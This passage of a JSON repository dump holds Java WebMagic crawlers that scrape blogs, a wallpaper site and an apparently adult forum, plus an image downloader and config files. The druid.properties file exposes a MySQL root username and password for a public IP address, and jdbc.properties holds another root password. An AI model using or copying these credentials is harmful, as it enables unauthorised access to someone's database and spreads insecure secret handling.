    "content": "package jun_webmagic;\n\nimport com.alibaba.druid.support.json.JSONUtils;\nimport us.codecraft.webmagic.Page;\nimport us.codecraft.webmagic.Site;\nimport us.codecraft.webmagic.Spider;\nimport us.codecraft.webmagic.pipeline.ConsolePipeline;\nimport us.codecraft.webmagic.processor.PageProcessor;\n\nimport java.util.List;\n\npublic class OschinaBlogPageProcessor implements PageProcessor {\n\n    private Site site = Site.me().setDomain(\"my.oschina.net\");\n\n    @Override\n    public void process(Page page) {\n        List<String> links = page.getHtml().links().regex(\"https://my\\\\.oschina\\\\.net/flashsword/blog/\\\\d+\").all();\n        page.addTargetRequests(links);\n        page.putField(\"title\", page.getHtml().xpath(\"//div[@class='BlogEntity']/div[@class='BlogTitle']/h1\").toString());\n        page.putField(\"content\", page.getHtml().$(\"div.content\").toString());\n        page.putField(\"tags\",page.getHtml().xpath(\"//div[@class='BlogTags']/a/text()\").all());\n        System.out.println(JSONUtils.toJSONString(page));\n    }\n\n    @Override\n    public Site getSite() {\n        return site;\n\n    }\n\n    public static void main(String[] args) {\n        Spider.create(new OschinaBlogPageProcessor()).addUrl(\"https://my.oschina.net/flashsword/blog\")\n                .addPipeline(new ConsolePipeline()).run();\n    }\n}"
  },
  {
    "path": "jun_java_plugins/jun_webmagic/src/main/java/jun_webmagic/Pic14Webmagic2.java",
    "content": "package jun_webmagic;\n\nimport java.sql.SQLException;\nimport java.util.ArrayList;\nimport java.util.Date;\nimport java.util.List;\n\nimport org.jsoup.Jsoup;\nimport org.jsoup.nodes.Document;\nimport org.jsoup.nodes.Element;\nimport org.jsoup.select.Elements;\n\nimport dbutils.NovelDAO;\nimport us.codecraft.webmagic.Page;\nimport us.codecraft.webmagic.Site;\nimport us.codecraft.webmagic.Spider;\nimport us.codecraft.webmagic.processor.PageProcessor;\n\npublic class Pic14Webmagic2  implements PageProcessor {\n//    private static HashMap<String, List<String>> map = new HashMap<String, List<String>>();\n    private static final String START_URL = \"^http://yj1.b96dure93e9.rocks/pw/thread.php\\\\Sfid\\\\S14\\\\Spage\\\\S\\\\d{1,4}$\";\n    private static final String START_URL2 = \"http://yj1.b96dure93e9.rocks/pw/thread.php?fid=14&page=1\";//\n    private static final String DETAIL = \"http://yj1.b96dure93e9.rocks/pw/html_data/\\\\d{1,2}/\\\\d{1,4}/\\\\d{1,7}.html\";//http://yj1.b96dure93e9.rocks/pw/html_data/17/1907/4163869.html\n    private static final String DETAIL2 = \"http://yj1.b96dure93e9.rocks/pw/read.php\\\\Stid\\\\S\\\\d{1,7}\\\\Sfpage\\\\S\\\\d{1,4}\";//http://yj1.b96dure93e9.rocks/pw/read.php?tid=3976925&fpage=100\n    private static final String DETAIL3 = \"http://yj1.b96dure93e9.rocks/pw/read.php\\\\Stid\\\\S\\\\d{1,7}\\\\Spage\\\\Se\\\\Sfpage\\\\S\\\\d{1,4}\\\\S+\";//http://yj1.b96dure93e9.rocks/pw/read.php?tid=3976880&page=e&fpage=100#a\n    private static final String NEXT_PAGE = \"^http://yj1.b96dure93e9.rocks/pw/thread.php\\\\Sfid\\\\S14\\\\Spage\\\\S\\\\d{1,4}$\";\n//    private static final String START_URL = \"^https://www.imooc.com/course/list$\";\n//    private static final String START_URL2 = \"https://www.imooc.com/course/list\";\n//    private static final String DETAIL = \"https://www.imooc.com/learn/\\\\d{1,8}\";\n//    private static final String NEXT_PAGE = \"^https://www.imooc.com/course/list\\\\?page=\\\\d*$\";\n    private static int count = 0;\n//    private static Spider spider = Spider.create(new MukeProcessor());\n//    private String keyTitles = \"titles\";\n//    private String keyUrls = \"keyUrls\";\n    private Site site = Site.me()\n            .setDomain(\"www.baidu.com\")\n            .setSleepTime(1131)\n//            .setCharset(\"GBK\")\n            .setCharset(\"utf-8\")\n            .setRetrySleepTime(2)\n            .setTimeOut(3000)\n            .setUserAgent(\n                    \"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_2) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/26.0.1410.65 Safari/537.31\");\n\n\n    @Override\n    public void process(Page page) {\n    \tif (page.getUrl().regex(START_URL).match()) {\n    \t\tSystem.err.println(\"page url is --> \"+page.getUrl().toString());\n    \t}\n//        System.err.println(\"page.getHtml()=\"+page.getHtml());\n        if (page.getUrl().regex(START_URL).match() || page.getUrl().regex(NEXT_PAGE).match()) {\n            List<String> list = page.getHtml().xpath(\"//*[@id=\\\"main\\\"]/div[8]\").links().all();\n            String next = page.getHtml().xpath(\"//*[@id=\\\"main\\\"]/div[10]/span[2]/div[1]/a[2]\").links().toString();\n            String next3 = page.getHtml().xpath(\"//*[@id=\\\"main\\\"]/div[10]/span[2]/div[1]/a[3]\").links().toString();\n            String next4 = page.getHtml().xpath(\"//*[@id=\\\"main\\\"]/div[10]/span[2]/div[1]/a[4]\").links().toString();\n            String next5 = page.getHtml().xpath(\"//*[@id=\\\"main\\\"]/div[10]/span[2]/div[1]/a[5]\").links().toString();\n            String next6 = page.getHtml().xpath(\"//*[@id=\\\"main\\\"]/div[10]/span[2]/div[1]/a[6]\").links().toString();\n//            List<String> list = page.getHtml().xpath(\"*[@id=\\\"main\\\"]/div[2]/div[2]/div[1]/div\").links().all();\n//            String next = page.getHtml().xpath(\"*[@id=\\\"main\\\"]/div[2]/div[2]/div[2]/a[8]\").links().toString();\n            list.add(next);\n            list.add(next3);\n            list.add(next4);\n            list.add(next5);\n            list.add(next6);\n            page.addTargetRequests(list);\n            System.err.println(\" new  add url list.size() =============\"+list.size());\n        } else if (page.getUrl().regex(DETAIL).match() \n        \t\t|| page.getUrl().regex(DETAIL2).match()\n        \t\t|| page.getUrl().regex(DETAIL3).match()\n        \t\t) {\n//            List<String> list = page.getHtml().xpath(\"/html/body/table[6]/tbody/tr/td[1]/table/tbody/tr/td/table[2]/tbody/tr/td/div/a\").links().all();\n//        \tList<String> titles = page.getHtml().xpath(\"/html/body/table[6]/tbody/tr/td[1]/table/tbody/tr/td/table[2]/tbody/tr/td/div/a/text()\").all();\n//        \tSystem.err.println(\"title =============\"+titles);\n        \tSystem.err.println(\"todo url is --> \"+page.getUrl().toString());\n        \tString title = page.getHtml().xpath(\"//*[@id=\\\"subject_tpc\\\"]\").get();\n        \ttitle = getHtmlText(\"novel_title\", title);\n        \tSystem.err.println(\"title =============\"+title);\n        \t\n        \tString uptime = page.getHtml().xpath(\"//*[@id=\\\"td_tpc\\\"]/div[1]/span[2]\").get();\n        \tuptime = getHtmlText(\"novel_time\", uptime);\n        \tSystem.err.println(\"uptime =============\"+uptime);\n        \t\n        \tString content = page.getHtml().xpath(\"//*[@id=\\\"read_tpc\\\"]\").get();\n        \tSystem.err.println(\"content =============\"+content.length());\n        \tList<String>  imglist = getImgList(\"img_list\", content);\n        \tUrlFileDownloadUtil.downloadPictures(imglist);\n        \t\n\t\t\t/*\n\t\t\t * Object params[] = {title,\"\"+content.length(), content, uptime, new\n\t\t\t * Date(),page.getUrl().toString()}; try { NovelDAO n = new NovelDAO();\n\t\t\t * n.add(params); } catch (SQLException e) { e.printStackTrace(); }\n\t\t\t */\n        \t\n        } else {\n        \tSystem.err.println(\"err --------------------------------------------------------\"+page.getUrl());\n        }\n        count++;\n    }\n\n    @Override\n    public Site getSite() {\n        return site;\n    }\n    \n    public String getHtmlText(String tid,String html) {\n    \tStringBuilder _content = new StringBuilder(\"\");\n    \tif(tid.equalsIgnoreCase(\"novel_title\")) {\n    \t\tList<String> titles = new ArrayList<String>();\n\t\t\tList<String> urls = new ArrayList<String>();\n//\t\t\tString html = \"<span id=\\\"subject_tpc\\\">淫荡秘书晓日</span>\";\n\t\t\tDocument doc = Jsoup.parse(html);\n\t\t\tElements elements = doc.select(\"span\");\n\t\t\tfor (Element element : elements) {\n\t\t\t\tString title = element.text();\n\t\t\t\ttitles.add(title);\n//\t\t\t\turls.add(element.select(\"a\").attr(\"href\"));\n//\t\t\t\tSystem.out.println(title+\" ---> \"+element.select(\"a\").attr(\"href\"));\n\t\t\t}\n\t\t\tfor (String title : titles) {\n\t\t\t\tSystem.out.println(title);\n\t\t\t\t_content.append(title);\n\t\t\t}\n    \t}else if(tid.equalsIgnoreCase(\"novel_time\")) {\n    \t\tList<String> titles = new ArrayList<String>();\n\t\t\tList<String> urls = new ArrayList<String>();\n//\t\t\tString html = \"<span id=\\\"subject_tpc\\\">淫荡秘书晓日</span>\";\n\t\t\tDocument doc = Jsoup.parse(html);\n\t\t\tElements elements = doc.select(\"span\");\n\t\t\tfor (Element element : elements) {\n\t\t\t\tString title = element.text();\n\t\t\t\ttitles.add(title);\n//\t\t\t\turls.add(element.select(\"a\").attr(\"href\"));\n//\t\t\t\tSystem.out.println(title+\" ---> \"+element.select(\"a\").attr(\"href\"));\n\t\t\t}\n\t\t\tfor (String title : titles) {\n\t\t\t\tSystem.out.println(title);\n\t\t\t\t_content.append(title);\n\t\t\t}\n    \t} else if(tid.equalsIgnoreCase(\"novel_time\")) {\n    \t\tList<String> titles = new ArrayList<String>();\n    \t\tList<String> urls = new ArrayList<String>();\n    \t\tDocument doc = Jsoup.parse(html);\n    \t\tElements elements = doc.select(\"img\");\n    \t\tfor (Element element : elements) {\n    \t\t\t;\n    \t\t\ttitles.add((element.select(\"img\").attr(\"src\")));\n    \t\t}\n    \t\tfor (String title : titles) {\n    \t\t\tSystem.out.println(title);\n    \t\t}\n    \t}\n\t\treturn _content.toString();\n    }\n    \n    public List<String> getImgList(String tid,String html) {\n    \tStringBuilder _content = new StringBuilder(\"\");\n    \tList<String> titles = new ArrayList<String>();\n    \tList<String> urls = new ArrayList<String>();\n    \tif(tid.equalsIgnoreCase(\"img_list\")) {\n    \t\tDocument doc = Jsoup.parse(html);\n    \t\tElements elements = doc.select(\"img\");\n    \t\tfor (Element element : elements) {\n    \t\t\t;\n    \t\t\turls.add((element.select(\"img\").attr(\"src\")));\n    \t\t}\n    \t\tfor (String title : urls) {\n    \t\t\tSystem.out.println(title);\n    \t\t}\n    \t}\n    \treturn urls;\n    }\n\n    public static void main(String[] args) {\n        long start = System.currentTimeMillis();\n        System.err.println(\"spider  is  start  now !!!\");\n        Spider.create(new Pic14Webmagic2()).thread(10).addUrl(START_URL2).run();\n        long end = System.currentTimeMillis();\n        System.err.println(\"spider  is  end  now !!!\");\n        System.err.println(\"the  under   is   result\");\n        System.err.println(\"###########################################\");\n\t\t/*\n\t\t * Set<Map.Entry<String, List<String>>> entries = map.entrySet(); for\n\t\t * (Map.Entry<String, List<String>> entry : entries) { String key =\n\t\t * entry.getKey(); List<String> values = entry.getValue(); values.forEach(s -> {\n\t\t * System.err.println(\"the ke is {},the value is {}\"+ key+s); });\n\t\t * System.err.println(\"----------------------------------\"); }\n\t\t */\n        System.err.println(\"###########################################\");\n        System.err.println(\"the  count  is  {}\"+ count);\n        System.err.println(\"cost  time  is :\"+(end-start)/1000+\"s\");\n\n\n    }\n\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_webmagic/src/main/java/jun_webmagic/UrlFileDownloadUtil.java",
    "content": "package jun_webmagic;\n\nimport java.io.DataInputStream;\nimport java.io.File;\nimport java.io.FileOutputStream;\nimport java.io.IOException;\nimport java.net.MalformedURLException;\nimport java.net.URL;\nimport java.net.URLConnection;\nimport java.util.ArrayList;\nimport java.util.List;\n\npublic class UrlFileDownloadUtil {\n\t\n\t@SuppressWarnings(\"null\")\n\tpublic static void main(String[] args) {\n\t\tList<String> urlList = new ArrayList<>() ;\n\t\turlList.add(\"http://p8.urlpic.club/pic20190701/upload/image/20190705/70500005770.jpg\");\n\t\turlList.add(\"http://p8.urlpic.club/pic20190701/upload/image/20190705/70500005756.jpg\");\n\t\turlList.add(\"http://p8.urlpic.club/pic20190701/upload/image/20190705/70500005796.jpg\");\n\t\turlList.add(\"http://p8.urlpic.club/pic20190701/upload/image/20190705/70500005841.jpg\");\n\t\turlList.add(\"http://p8.urlpic.club/pic20190701/upload/image/20190705/70500005801.jpg\"); \n\t\tUrlFileDownloadUtil.downloadPictures(urlList );\n\t}\n    /**\n     * 传入要下载的图片的url列表，将url所对应的图片下载到本地\n     */\n    public static void downloadPictures(List<String> urlList, List<String> names) {\n        String baseDir = \"D:\\\\spider_img_14\\\\\";\n        URL url = null;\n\n        for (int i = 0; i < urlList.size(); i++) {\n            try {\n                url = new URL(urlList.get(i));\n                DataInputStream dataInputStream = new DataInputStream(url.openStream());\n                FileOutputStream fileOutputStream = new FileOutputStream(new File(baseDir + names.get(i)));\n\n                byte[] buffer = new byte[1024 * 50];\n                int length;\n\n                while ((length = dataInputStream.read(buffer)) > 0) {\n                    fileOutputStream.write(buffer, 0, length);\n                }\n                System.out.println(\"已经下载：\" + baseDir + names.get(i));\n                dataInputStream.close();\n                fileOutputStream.close();\n            } catch (MalformedURLException e) {\n                e.printStackTrace();\n            } catch (IOException e) {\n                e.printStackTrace();\n            }\n        }\n    }\n\n    public static void downloadPictures(List<String> urlList) {\n        String baseDir = \"E:\\\\Images\";\n        URL url = null;\n        \n        \n        \n        for (int i = 0; i < urlList.size(); i++) {\n            try {\n                String[] files = urlList.get(i).split(\"/\");\n                String name = files[files.length - 1];\n                url = new URL(urlList.get(i));\n                \n                String filePath = urlList.get(i).substring(0, urlList.get(i).lastIndexOf(\"/\")).replace(\"http://blog.java1234.com\", baseDir);\n                File file = new File(filePath.replace(\"/\", \"\\\\\"));\n                if (!file.exists())\n                {\n                    file.mkdirs();\n                }\n                File fileFinalPath=new File(filePath+\"\\\\\"+name);\n                if(fileFinalPath.exists()) {\n                \tSystem.err.println(\" **************************    文件已存在，不再下载  ： \"+fileFinalPath.getAbsolutePath());\n                \tcontinue ;\n                }\n                \n                URLConnection myurlcon = url.openConnection();\n                myurlcon.setRequestProperty(\"User-Agent\", \"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36\");\n                myurlcon.setConnectTimeout(5000); \n                myurlcon.setReadTimeout(60000); \n                \n                DataInputStream dataInputStream = new DataInputStream(myurlcon.getInputStream());\n//                DataInputStream dataInputStream = new DataInputStream(url.openStream());\n                FileOutputStream fileOutputStream = new FileOutputStream(new File(filePath+\"\\\\\"+name));\n\n                byte[] buffer = new byte[1024 * 50];\n                int length;\n\n                while ((length = dataInputStream.read(buffer)) > 0) {\n                    fileOutputStream.write(buffer, 0, length);\n                }\n                System.out.println(\"已经下载：\"+myurlcon.getContentLength() + \" || \" +filePath+\"\\\\\"+name);\n                dataInputStream.close();\n                fileOutputStream.close();\n            } catch (MalformedURLException e) {\n                e.printStackTrace();\n            } catch (IOException e) {\n                e.printStackTrace();\n            }\n        }\n    }\n\n    // 下载一张图片\n    public static void downloadPicture(String u, String name) {\n        String baseDir = \"D:\\\\spider_img_14\\\\\";\n        URL url = null;\n\n        try {\n            url = new URL(u);\n            DataInputStream dataInputStream = new DataInputStream(url.openStream());\n            FileOutputStream fileOutputStream = new FileOutputStream(new File(baseDir + name));\n\n            byte[] buffer = new byte[1024 * 50];\n            int length;\n\n            while ((length = dataInputStream.read(buffer)) > 0) {\n                fileOutputStream.write(buffer, 0, length);\n            }\n            System.out.println(\"已经下载：\" + baseDir + name);\n            dataInputStream.close();\n            fileOutputStream.close();\n        } catch (MalformedURLException e) {\n            e.printStackTrace();\n        } catch (IOException e) {\n            e.printStackTrace();\n        }\n    }\n\n    // 下载一张图片\n    public static void downloadPicture(String u) {\n        String baseDir = \"D:\\\\spider_img_14\\\\\";\n        URL url = null;\n        String[] files = u.split(\"/\");\n        String name = files[files.length - 1];\n\n        try {\n            url = new URL(u);\n            DataInputStream dataInputStream = new DataInputStream(url.openStream());\n            FileOutputStream fileOutputStream = new FileOutputStream(new File(baseDir + name));\n\n            byte[] buffer = new byte[1024 * 50];\n            int length;\n\n            while ((length = dataInputStream.read(buffer)) > 0) {\n                fileOutputStream.write(buffer, 0, length);\n            }\n            System.out.println(\"已经下载：\" + baseDir + name);\n            dataInputStream.close();\n            fileOutputStream.close();\n        } catch (MalformedURLException e) {\n            e.printStackTrace();\n        } catch (IOException e) {\n            e.printStackTrace();\n        }\n    }\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_webmagic/src/main/java/jun_webmagic/Xp1024Spider2.java",
    "content": "package jun_webmagic;\n\nimport java.text.SimpleDateFormat;\nimport java.util.Calendar;\nimport java.util.Date;\nimport java.util.regex.Matcher;\nimport java.util.regex.Pattern;\n\n//import org.apache.ibatis.io.Resources;\n//import org.apache.ibatis.session.SqlSession;\n//import org.apache.ibatis.session.SqlSessionFactory;\n//import org.apache.ibatis.session.SqlSessionFactoryBuilder;\n\nimport us.codecraft.webmagic.Page;\nimport us.codecraft.webmagic.Site;\nimport us.codecraft.webmagic.Spider;\nimport us.codecraft.webmagic.processor.PageProcessor;\n\npublic class Xp1024Spider2 implements PageProcessor {\n\t    private Site site = Site.me().setRetryTimes(10).setSleepTime(1000);\n\t    private static int num = 0;\n\t    public static void main(String[] args) throws Exception {\n\t        long startTime, endTime;\n\t        System.out.println(\"========爬虫【启动】=========\");\n\t        startTime = new Date().getTime();\n\t        Spider.create(new Xp1024Spider2()).addUrl(\"http://yj1.b96dure93e9.rocks/pw/thread.php?fid=14\").thread(5).run();\n\t        endTime = new Date().getTime();\n\t        System.out.println(\"========爬虫【结束】=========\");\n\t        System.out.println(\"爬到\" + num + \"篇博客！用时为：\" + (endTime - startTime) / 1000 + \"s\");\n\t    }\n\t \n\t    @Override\n\t    public void process(Page page) {\n\t        //1. 如果是博文列表页面 【入口页面】，将所有博文的详细页面的url放入target集合中。\n\t        // 并且添加下一页的url放入target集合中。\n\t    \t// https://blog\\\\.hellobi\\\\.com/hot/weekly\\\\?page=\\\\d+\n\t    \t// http://xh2.1024xp2.com/pw/html_data/14/1907/4159013.html\n\t        if (page.getUrl().regex(\"http://yj1\\\\.b96dure93e9\\\\.rocks/pw/html_data/14/1907/[0-9]{7}\\\\.html\").match()) {\n\t            //目标链接\n\t            page.addTargetRequests(page.getHtml().xpath(\"//*[@id=\\\"ajaxtable\\\"]/tbody[2]/a\").links().all());\n\t            //下一页博文列表页链接\n\t            page.addTargetRequests(page.getHtml().xpath(\"//*[@id=\\\"main\\\"]/div[10]/span[2]/div[1]/a\").links().all());\n\t            System.err.println(\"111page.getUrl()=\"+page.getUrl());\n\t        }\n\t        //2. 如果是博文详细页面\n\t        else {\n//\t            String content1 = page.getHtml().get();\n\t            try {\n\t                String title = page.getHtml().xpath(\"//*[@id=\\\"breadCrumb\\\"]/font/a[4]/text()\").get();\n\t                String content = page.getHtml().xpath(\"//*[@id=\\\"read_tpc\\\"]/img\").get();\n\t                System.err.println(\"title=\"+title+\",content=\"+content);\n\t                num++;\n\t                System.out.println(\"num2222:\" + num );//输出对象\n\t            } catch (Exception e) {\n\t                e.printStackTrace();\n\t            }\n\t        }\n\t    }\n\t \n\t    @Override\n\t    public Site getSite() {\n\t        return this.site;\n\t    }\n\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_webmagic/src/main/java/jun_webmagic/myImageProcess.java",
    "content": "package jun_webmagic;\n\nimport java.text.SimpleDateFormat;\nimport java.util.ArrayList;\nimport java.util.Date;\nimport java.util.List;\n\nimport javax.management.JMException;\n\nimport org.jsoup.helper.StringUtil;\n\nimport us.codecraft.webmagic.Page;\nimport us.codecraft.webmagic.Site;\nimport us.codecraft.webmagic.Spider;\nimport us.codecraft.webmagic.monitor.SpiderMonitor;\nimport us.codecraft.webmagic.processor.PageProcessor;\n\npublic class myImageProcess implements PageProcessor{\n\t//ҳURLʽ\n    //.ƥеַ//.ʾֻƥһ//.?ͬ\n\t\n    private static String REGEX_PAGE_URL = \"http://www\\\\.win4000\\\\.com/zt/gaoqing_\\\\w+.html\";\n    //ȡҳ\n    public static int PAGE_SIZE = 6;\n    //\n    public static int INDEX_PHOTO =1;\n    \n\tpublic void process(Page page) {\n\t\t  List<String> SpidertURL = new ArrayList<String>();\n\t\t  \n\t        for (int i = 2; i < PAGE_SIZE; i++){//ӵĿurl\n\t        \tSpidertURL.add(\"http://www.win4000.com/zt/gaoqing_\" + i + \".html\");\n\t        }\n\t        //url\n\t        page.addTargetRequests(SpidertURL);\n\t        //ͼƬбҳ\n\t        System.out.println(page.getUrl());\n\t        if (page.getUrl().regex(REGEX_PAGE_URL).match()) {\n\t            //ҳ\n\t            //page.getHtml().xpath(\"//a[@class=\\\"title\\\"]\").links().all();\n\t            List<String> detailURL = page.getHtml().xpath(\"//ul[@class='clearfix']/li/a\").links().all();\n\t            int x = 1;\n\t            for (String str:detailURL){//\n\t            \tSystem.out.println(x+\"----\"+str);\n\t            \tx++;\n\t            }\n\t            page.addTargetRequests(detailURL);\n\t        } else {//ҳ\n\t        \t\tString detailUrl = page.getUrl().toString();\n\t        \t\tSystem.out.println(detailUrl);\n\t                String picURL = page.getHtml().xpath(\"//div[@class='pic-meinv']/a\").css(\"img\", \"src\").toString();\n\t                System.out.println(picURL);\n\t                String currentIndex = page.getHtml().xpath(\"//div[@class='ptitle']/span/text()\").toString();\n\t                String picname = page.getHtml().xpath(\"//div[@class='ptitle']/h1/text()\").toString();\n\t                if(!\"1\".equals(currentIndex)){//ǵһҳͼƬƼҳ˳\n\t                \tpicname = picname+\"_\"+detailUrl;\n//\t                \tpicname = picname+\"_\"+StringUtil.getURLIndex(detailUrl);\n\t                }\n\t                String allPic = page.getHtml().xpath(\"//div[@class='ptitle']/em/text()\").toString();\n\t                if(allPic!= null && picURL != null && \"1\".equals(currentIndex)){\n\t                \tInteger pageindex = Integer.parseInt(allPic);\n\t                \tList<String>otherPic = new ArrayList<String>();\n\t                \tfor(int i=2;i<=pageindex;i++){\n\t                \t\totherPic.add(detailUrl.replaceAll(\".html\", \"_\"+i+\".html\"));\n\t                \t}\n                \t\tpage.addTargetRequests(otherPic);\n\t                }\n\t                System.out.println(picname);\n\t                try {\n\t                    /**\n\t                     * String ͼƬַ\n\t                     * String ͼƬ\n\t                     * String ·\n\t                     */\n\t                \tif(picURL !=null){\n//\t                \t\tDownloadUtil.download( picURL, picname + \".jpg\", \"E:\\\\image3\\\\\");\n\t                \t\tSystem.out.println(\"\"+(INDEX_PHOTO++)+\"\"+\",picname=\"+picname+\",picURL=\"+picURL);\n\t                \t}\n\t                } catch (Exception e) {\n\t                    e.printStackTrace();\n\t                }\n\t\t   }\n\t\t\n\t}\n\n public Site getSite() {\n\t\treturn Site.me();\n\t}\n\t\n\t\n\tpublic static void main(String [] args) throws JMException{\n\t\tDate stdate = new Date();\n\t\tSystem.out.println(\"ʼʱ䣺\"+new SimpleDateFormat(\"yyyy-MM-dd HH:mm:ss\").format(stdate));\n\t\tSpider picSpider = Spider.create(new myImageProcess()).addUrl(\"http://www.win4000.com/zt/gaoqing_1.html\")\n\t\t.thread(5);\n\t\tSpiderMonitor.instance().register(picSpider);\n\t\tpicSpider.start();\n\t\tDate edDate = new Date();\n\t\tSystem.out.println(\"ʱ䣺\"+new SimpleDateFormat(\"yyyy-MM-dd HH:mm:ss\").format(edDate));\n\t\tSystem.out.println(\"ʱ\"+(edDate.getTime()-stdate.getTime())/1000/60+\"\");\n\t}\n}"
  },
  {
    "path": "jun_java_plugins/jun_webmagic/src/main/resources/crawl.js",
    "content": "var system = require('system');\nvar url = system.args[1];\n\nvar page = require('webpage').create();\npage.settings.loadImages = false;\npage.settings.resourceTimeout = 5000;\n\npage.open(url, function (status) {\n    if (status != 'success') {\n        console.log(\"HTTP request failed!\");\n    } else {\n        console.log(page.content);\n    }\n\n    page.close();\n    phantom.exit();\n});"
  },
  {
    "path": "jun_java_plugins/jun_webmagic/src/main/resources/data.xml",
    "content": "<test>111</test>"
  },
  {
    "path": "jun_java_plugins/jun_webmagic/src/main/resources/druid.properties",
    "content": "driverClassName=com.mysql.jdbc.Driver\nurl=jdbc:mysql://49.235.86.47:3306/test?characterEncoding=utf-8\nusername=root\npassword=mysqladmin\nfilters=stat\ninitialSize=2\nmaxActive=300\nmaxWait=60000\ntimeBetweenEvictionRunsMillis=60000\nminEvictableIdleTimeMillis=300000\nvalidationQuery=SELECT 1\ntestWhileIdle=true\ntestOnBorrow=false\ntestOnReturn=false\npoolPreparedStatements=false\nmaxPoolPreparedStatementPerConnectionSize=200"
  },
  {
    "path": "jun_java_plugins/jun_webmagic/src/main/resources/jdbc.properties",
    "content": "name=test\ndriverClassName = com.mysql.jdbc.Driver\nurl=jdbc:mysql://localhost:3306/test\nusername=root\npassword=overdose\ninitialSize=5\nmaxActive=10\nminIdle=3\nmaxWait=60000\nremoveAbandoned=true\nremoveAbandonedTimeout=180\ntimeBetweenEvictionRunsMillis=60000 \nminEvictableIdleTimeMillis=300000\nvalidationQuery=SELECT 1\ntestWhileIdle=true\ntestOnBorrow=false\ntestOnReturn=false\npoolPreparedStatements=true\nmaxPoolPreparedStatementPerConnectionSize=50\nfilters=stat"
  },
  {
    "path": "jun_java_plugins/jun_webmagic/src/main/resources/log4j.properties",
    "content": " ### \\u8BBE\\u7F6E###\nlog4j.rootLogger = info,stdout,D,E\n\n### \\u8F93\\u51FA\\u4FE1\\u606F\\u5230\\u63A7\\u5236\\u62AC ###\nlog4j.appender.stdout = org.apache.log4j.ConsoleAppender\nlog4j.appender.stdout.Target = System.out\nlog4j.appender.stdout.layout = org.apache.log4j.PatternLayout\nlog4j.appender.stdout.layout.ConversionPattern = [%-5p] %d{yyyy-MM-dd HH:mm:ss,SSS} method:%l%n%m%n\n\n### \\u8F93\\u51FADEBUG \\u7EA7\\u522B\\u4EE5\\u4E0A\\u7684\\u65E5\\u5FD7\\u5230=E://logs/error.log ###\nlog4j.appender.D = org.apache.log4j.DailyRollingFileAppender\nlog4j.appender.D.File = E://logs/log.log\nlog4j.appender.D.Append = true\nlog4j.appender.D.Threshold = DEBUG \nlog4j.appender.D.layout = org.apache.log4j.PatternLayout\nlog4j.appender.D.layout.ConversionPattern = %-d{yyyy-MM-dd HH:mm:ss}  [ %t:%r ] - [ %p ]  %m%n\n\n### \\u8F93\\u51FAERROR \\u7EA7\\u522B\\u4EE5\\u4E0A\\u7684\\u65E5\\u5FD7\\u5230=E://logs/error.log ###\nlog4j.appender.E = org.apache.log4j.DailyRollingFileAppender\nlog4j.appender.E.File =E://logs/error.log \nlog4j.appender.E.Append = true\nlog4j.appender.E.Threshold = ERROR \nlog4j.appender.E.layout = org.apache.log4j.PatternLayout\nlog4j.appender.E.layout.ConversionPattern = %-d{yyyy-MM-dd HH:mm:ss}  [ %t:%r ] - [ %p ]  %m%n"
  },
  {
    "path": "jun_java_plugins/jun_webmagic/src/main/resources/log4j.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<!DOCTYPE log4j:configuration SYSTEM \"log4j.dtd\">\n<log4j:configuration xmlns:log4j=\"http://jakarta.apache.org/log4j/\">\n\n    <appender name=\"stdout\" class=\"org.apache.log4j.ConsoleAppender\">\n        <layout class=\"org.apache.log4j.PatternLayout\">\n            <param name=\"ConversionPattern\" value=\"%d{yy-MM-dd HH:mm:ss,SSS} %-5p %c(%F:%L) ## %m%n\" />\n        </layout>\n    </appender>\n\n    <logger name=\"org.springframework\" additivity=\"false\">\n        <level value=\"warn\" />\n        <appender-ref ref=\"stdout\" />\n    </logger>\n\n    <logger name=\"net.sf.ehcache\" additivity=\"false\">\n        <level value=\"warn\" />\n        <appender-ref ref=\"stdout\" />\n    </logger>\n\n    <root>\n        <level value=\"info\" />\n        <appender-ref ref=\"stdout\" />\n    </root>\n\n</log4j:configuration>\n"
  },
  {
    "path": "jun_java_plugins/jun_webmagic/src/main/webapp/WEB-INF/web.xml",
    "content": "<!DOCTYPE web-app PUBLIC\n \"-//Sun Microsystems, Inc.//DTD Web Application 2.3//EN\"\n \"http://java.sun.com/dtd/web-app_2_3.dtd\" >\n\n<web-app>\n\t<display-name>webmagic</display-name>\n</web-app>\n"
  },
  {
    "path": "jun_java_plugins/jun_webmagic/src/test/java/dbutils/QueryRunnerCRUDTest.java",
